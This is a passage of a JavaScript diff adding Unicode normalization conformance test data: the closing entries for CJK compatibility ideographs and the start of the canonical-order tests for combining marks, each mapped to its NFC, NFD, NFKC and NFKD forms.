+{ source: [0x2F9D3], NFC: [0x27CA8], NFD: [0x27CA8], NFKC: [0x27CA8], NFKD: [0x27CA8] },
+{ source: [0x2F9D4], NFC: [0x8CAB], NFD: [0x8CAB], NFKC: [0x8CAB], NFKD: [0x8CAB] },
+{ source: [0x2F9D5], NFC: [0x8CC1], NFD: [0x8CC1], NFKC: [0x8CC1], NFKD: [0x8CC1] },
+{ source: [0x2F9D6], NFC: [0x8D1B], NFD: [0x8D1B], NFKC: [0x8D1B], NFKD: [0x8D1B] },
+{ source: [0x2F9D7], NFC: [0x8D77], NFD: [0x8D77], NFKC: [0x8D77], NFKD: [0x8D77] },
+{ source: [0x2F9D8], NFC: [0x27F2F], NFD: [0x27F2F], NFKC: [0x27F2F], NFKD: [0x27F2F] },
+{ source: [0x2F9D9], NFC: [0x20804], NFD: [0x20804], NFKC: [0x20804], NFKD: [0x20804] },
+{ source: [0x2F9DA], NFC: [0x8DCB], NFD: [0x8DCB], NFKC: [0x8DCB], NFKD: [0x8DCB] },
+{ source: [0x2F9DB], NFC: [0x8DBC], NFD: [0x8DBC], NFKC: [0x8DBC], NFKD: [0x8DBC] },
+{ source: [0x2F9DC], NFC: [0x8DF0], NFD: [0x8DF0], NFKC: [0x8DF0], NFKD: [0x8DF0] },
+{ source: [0x2F9DD], NFC: [0x208DE], NFD: [0x208DE], NFKC: [0x208DE], NFKD: [0x208DE] },
+{ source: [0x2F9DE], NFC: [0x8ED4], NFD: [0x8ED4], NFKC: [0x8ED4], NFKD: [0x8ED4] },
+{ source: [0x2F9DF], NFC: [0x8F38], NFD: [0x8F38], NFKC: [0x8F38], NFKD: [0x8F38] },
+{ source: [0x2F9E0], NFC: [0x285D2], NFD: [0x285D2], NFKC: [0x285D2], NFKD: [0x285D2] },
+{ source: [0x2F9E1], NFC: [0x285ED], NFD: [0x285ED], NFKC: [0x285ED], NFKD: [0x285ED] },
+{ source: [0x2F9E2], NFC: [0x9094], NFD: [0x9094], NFKC: [0x9094], NFKD: [0x9094] },
+{ source: [0x2F9E3], NFC: [0x90F1], NFD: [0x90F1], NFKC: [0x90F1], NFKD: [0x90F1] },
+{ source: [0x2F9E4], NFC: [0x9111], NFD: [0x9111], NFKC: [0x9111], NFKD: [0x9111] },
+{ source: [0x2F9E5], NFC: [0x2872E], NFD: [0x2872E], NFKC: [0x2872E], NFKD: [0x2872E] },
+{ source: [0x2F9E6], NFC: [0x911B], NFD: [0x911B], NFKC: [0x911B], NFKD: [0x911B] },
+{ source: [0x2F9E7], NFC: [0x9238], NFD: [0x9238], NFKC: [0x9238], NFKD: [0x9238] },
+{ source: [0x2F9E8], NFC: [0x92D7], NFD: [0x92D7], NFKC: [0x92D7], NFKD: [0x92D7] },
+{ source: [0x2F9E9], NFC: [0x92D8], NFD: [0x92D8], NFKC: [0x92D8], NFKD: [0x92D8] },
+{ source: [0x2F9EA], NFC: [0x927C], NFD: [0x927C], NFKC: [0x927C], NFKD: [0x927C] },
+{ source: [0x2F9EB], NFC: [0x93F9], NFD: [0x93F9], NFKC: [0x93F9], NFKD: [0x93F9] },
+{ source: [0x2F9EC], NFC: [0x9415], NFD: [0x9415], NFKC: [0x9415], NFKD: [0x9415] },
+{ source: [0x2F9ED], NFC: [0x28BFA], NFD: [0x28BFA], NFKC: [0x28BFA], NFKD: [0x28BFA] },
+{ source: [0x2F9EE], NFC: [0x958B], NFD: [0x958B], NFKC: [0x958B], NFKD: [0x958B] },
+{ source: [0x2F9EF], NFC: [0x4995], NFD: [0x4995], NFKC: [0x4995], NFKD: [0x4995] },
+{ source: [0x2F9F0], NFC: [0x95B7], NFD: [0x95B7], NFKC: [0x95B7], NFKD: [0x95B7] },
+{ source: [0x2F9F1], NFC: [0x28D77], NFD: [0x28D77], NFKC: [0x28D77], NFKD: [0x28D77] },
+{ source: [0x2F9F2], NFC: [0x49E6], NFD: [0x49E6], NFKC: [0x49E6], NFKD: [0x49E6] },
+{ source: [0x2F9F3], NFC: [0x96C3], NFD: [0x96C3], NFKC: [0x96C3], NFKD: [0x96C3] },
+{ source: [0x2F9F4], NFC: [0x5DB2], NFD: [0x5DB2], NFKC: [0x5DB2], NFKD: [0x5DB2] },
+{ source: [0x2F9F5], NFC: [0x9723], NFD: [0x9723], NFKC: [0x9723], NFKD: [0x9723] },
+{ source: [0x2F9F6], NFC: [0x29145], NFD: [0x29145], NFKC: [0x29145], NFKD: [0x29145] },
+{ source: [0x2F9F7], NFC: [0x2921A], NFD: [0x2921A], NFKC: [0x2921A], NFKD: [0x2921A] },
+{ source: [0x2F9F8], NFC: [0x4A6E], NFD: [0x4A6E], NFKC: [0x4A6E], NFKD: [0x4A6E] },
+{ source: [0x2F9F9], NFC: [0x4A76], NFD: [0x4A76], NFKC: [0x4A76], NFKD: [0x4A76] },
+{ source: [0x2F9FA], NFC: [0x97E0], NFD: [0x97E0], NFKC: [0x97E0], NFKD: [0x97E0] },
+{ source: [0x2F9FB], NFC: [0x2940A], NFD: [0x2940A], NFKC: [0x2940A], NFKD: [0x2940A] },
+{ source: [0x2F9FC], NFC: [0x4AB2], NFD: [0x4AB2], NFKC: [0x4AB2], NFKD: [0x4AB2] },
+{ source: [0x2F9FD], NFC: [0x29496], NFD: [0x29496], NFKC: [0x29496], NFKD: [0x29496] },
+{ source: [0x2F9FE], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0x2F9FF], NFC: [0x980B], NFD: [0x980B], NFKC: [0x980B], NFKD: [0x980B] },
+{ source: [0x2FA00], NFC: [0x9829], NFD: [0x9829], NFKC: [0x9829], NFKD: [0x9829] },
+{ source: [0x2FA01], NFC: [0x295B6], NFD: [0x295B6], NFKC: [0x295B6], NFKD: [0x295B6] },
+{ source: [0x2FA02], NFC: [0x98E2], NFD: [0x98E2], NFKC: [0x98E2], NFKD: [0x98E2] },
+{ source: [0x2FA03], NFC: [0x4B33], NFD: [0x4B33], NFKC: [0x4B33], NFKD: [0x4B33] },
+{ source: [0x2FA04], NFC: [0x9929], NFD: [0x9929], NFKC: [0x9929], NFKD: [0x9929] },
+{ source: [0x2FA05], NFC: [0x99A7], NFD: [0x99A7], NFKC: [0x99A7], NFKD: [0x99A7] },
+{ source: [0x2FA06], NFC: [0x99C2], NFD: [0x99C2], NFKC: [0x99C2], NFKD: [0x99C2] },
+{ source: [0x2FA07], NFC: [0x99FE], NFD: [0x99FE], NFKC: [0x99FE], NFKD: [0x99FE] },
+{ source: [0x2FA08], NFC: [0x4BCE], NFD: [0x4BCE], NFKC: [0x4BCE], NFKD: [0x4BCE] },
+{ source: [0x2FA09], NFC: [0x29B30], NFD: [0x29B30], NFKC: [0x29B30], NFKD: [0x29B30] },
+{ source: [0x2FA0A], NFC: [0x9B12], NFD: [0x9B12], NFKC: [0x9B12], NFKD: [0x9B12] },
+{ source: [0x2FA0B], NFC: [0x9C40], NFD: [0x9C40], NFKC: [0x9C40], NFKD: [0x9C40] },
+{ source: [0x2FA0C], NFC: [0x9CFD], NFD: [0x9CFD], NFKC: [0x9CFD], NFKD: [0x9CFD] },
+{ source: [0x2FA0D], NFC: [0x4CCE], NFD: [0x4CCE], NFKC: [0x4CCE], NFKD: [0x4CCE] },
+{ source: [0x2FA0E], NFC: [0x4CED], NFD: [0x4CED], NFKC: [0x4CED], NFKD: [0x4CED] },
+{ source: [0x2FA0F], NFC: [0x9D67], NFD: [0x9D67], NFKC: [0x9D67], NFKD: [0x9D67] },
+{ source: [0x2FA10], NFC: [0x2A0CE], NFD: [0x2A0CE], NFKC: [0x2A0CE], NFKD: [0x2A0CE] },
+{ source: [0x2FA11], NFC: [0x4CF8], NFD: [0x4CF8], NFKC: [0x4CF8], NFKD: [0x4CF8] },
+{ source: [0x2FA12], NFC: [0x2A105], NFD: [0x2A105], NFKC: [0x2A105], NFKD: [0x2A105] },
+{ source: [0x2FA13], NFC: [0x2A20E], NFD: [0x2A20E], NFKC: [0x2A20E], NFKD: [0x2A20E] },
+{ source: [0x2FA14], NFC: [0x2A291], NFD: [0x2A291], NFKC: [0x2A291], NFKD: [0x2A291] },
+{ source: [0x2FA15], NFC: [0x9EBB], NFD: [0x9EBB], NFKC: [0x9EBB], NFKD: [0x9EBB] },
+{ source: [0x2FA16], NFC: [0x4D56], NFD: [0x4D56], NFKC: [0x4D56], NFKD: [0x4D56] },
+{ source: [0x2FA17], NFC: [0x9EF9], NFD: [0x9EF9], NFKC: [0x9EF9], NFKD: [0x9EF9] },
+{ source: [0x2FA18], NFC: [0x9EFE], NFD: [0x9EFE], NFKC: [0x9EFE], NFKD: [0x9EFE] },
+{ source: [0x2FA19], NFC: [0x9F05], NFD: [0x9F05], NFKC: [0x9F05], NFKD: [0x9F05] },
+{ source: [0x2FA1A], NFC: [0x9F0F], NFD: [0x9F0F], NFKC: [0x9F0F], NFKD: [0x9F0F] },
+{ source: [0x2FA1B], NFC: [0x9F16], NFD: [0x9F16], NFKC: [0x9F16], NFKD: [0x9F16] },
+{ source: [0x2FA1C], NFC: [0x9F3B], NFD: [0x9F3B], NFKC: [0x9F3B], NFKD: [0x9F3B] },
+{ source: [0x2FA1D], NFC: [0x2A600], NFD: [0x2A600], NFKC: [0x2A600], NFKD: [0x2A600] }
+];
+/* Part2 # Canonical Order Test */
+var tests_part2 = [
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0300, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0300, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0301, 0x0062], NFC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0301, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0302, 0x0062], NFC: [0x00E0, 0x05AE, 0x0302, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0302, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0302, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0302, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0302, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EA7, 0x05AE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0302, 0x0300, 0x0315, 0x0062], NFKC: [0x1EA7, 0x05AE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0302, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0303, 0x0062], NFC: [0x00E0, 0x05AE, 0x0303, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0303, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0303, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0303, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0303, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E3, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0303, 0x0300, 0x0315, 0x0062], NFKC: [0x00E3, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0303, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0304, 0x0062], NFC: [0x00E0, 0x05AE, 0x0304, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0304, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0304, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0304, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0304, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0101, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0304, 0x0300, 0x0315, 0x0062], NFKC: [0x0101, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0304, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0305, 0x0062], NFC: [0x00E0, 0x05AE, 0x0305, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0305, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0305, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0305, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0305, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0305, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0306, 0x0062], NFC: [0x00E0, 0x05AE, 0x0306, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0306, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0306, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0306, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0306, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EB1, 0x05AE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0306, 0x0300, 0x0315, 0x0062], NFKC: [0x1EB1, 0x05AE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0306, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0307, 0x0062], NFC: [0x00E0, 0x05AE, 0x0307, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0307, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0307, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0307, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0307, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0227, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0307, 0x0300, 0x0315, 0x0062], NFKC: [0x0227, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0307, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0308, 0x0062], NFC: [0x00E0, 0x05AE, 0x0308, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0308, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0308, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E4, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0308, 0x0300, 0x0315, 0x0062], NFKC: [0x00E4, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0308, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0309, 0x0062], NFC: [0x00E0, 0x05AE, 0x0309, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0309, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0309, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0309, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0309, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x1EA3, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0309, 0x0300, 0x0315, 0x0062], NFKC: [0x1EA3, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0309, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030A, 0x0062], NFC: [0x00E0, 0x05AE, 0x030A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E5, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030A, 0x0300, 0x0315, 0x0062], NFKC: [0x00E5, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030B, 0x0062], NFC: [0x00E0, 0x05AE, 0x030B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030C, 0x0062], NFC: [0x00E0, 0x05AE, 0x030C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x01CE, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030C, 0x0300, 0x0315, 0x0062], NFKC: [0x01CE, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030D, 0x0062], NFC: [0x00E0, 0x05AE, 0x030D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030E, 0x0062], NFC: [0x00E0, 0x05AE, 0x030E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x030F, 0x0062], NFC: [0x00E0, 0x05AE, 0x030F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x030F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x030F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x030F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x030F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0201, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x030F, 0x0300, 0x0315, 0x0062], NFKC: [0x0201, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x030F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0310, 0x0062], NFC: [0x00E0, 0x05AE, 0x0310, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0310, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0310, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0310, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0310, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0310, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0311, 0x0062], NFC: [0x00E0, 0x05AE, 0x0311, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0311, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0311, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0311, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0311, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0203, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0311, 0x0300, 0x0315, 0x0062], NFKC: [0x0203, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0311, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0312, 0x0062], NFC: [0x00E0, 0x05AE, 0x0312, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0312, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0312, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0312, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0312, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0312, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0313, 0x0062], NFC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0313, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0314, 0x0062], NFC: [0x00E0, 0x05AE, 0x0314, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0314, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0314, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0314, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0314, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0314, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x0315, 0x0062], NFC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x0315, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0316, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0316, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0317, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0317, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0317, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0317, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0317, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0317, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0317, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0317, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0317, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0317, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0318, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0318, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0318, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0318, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0318, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0318, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0318, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0318, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0318, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0318, 0x0316, 0x059A, 0x0062] },
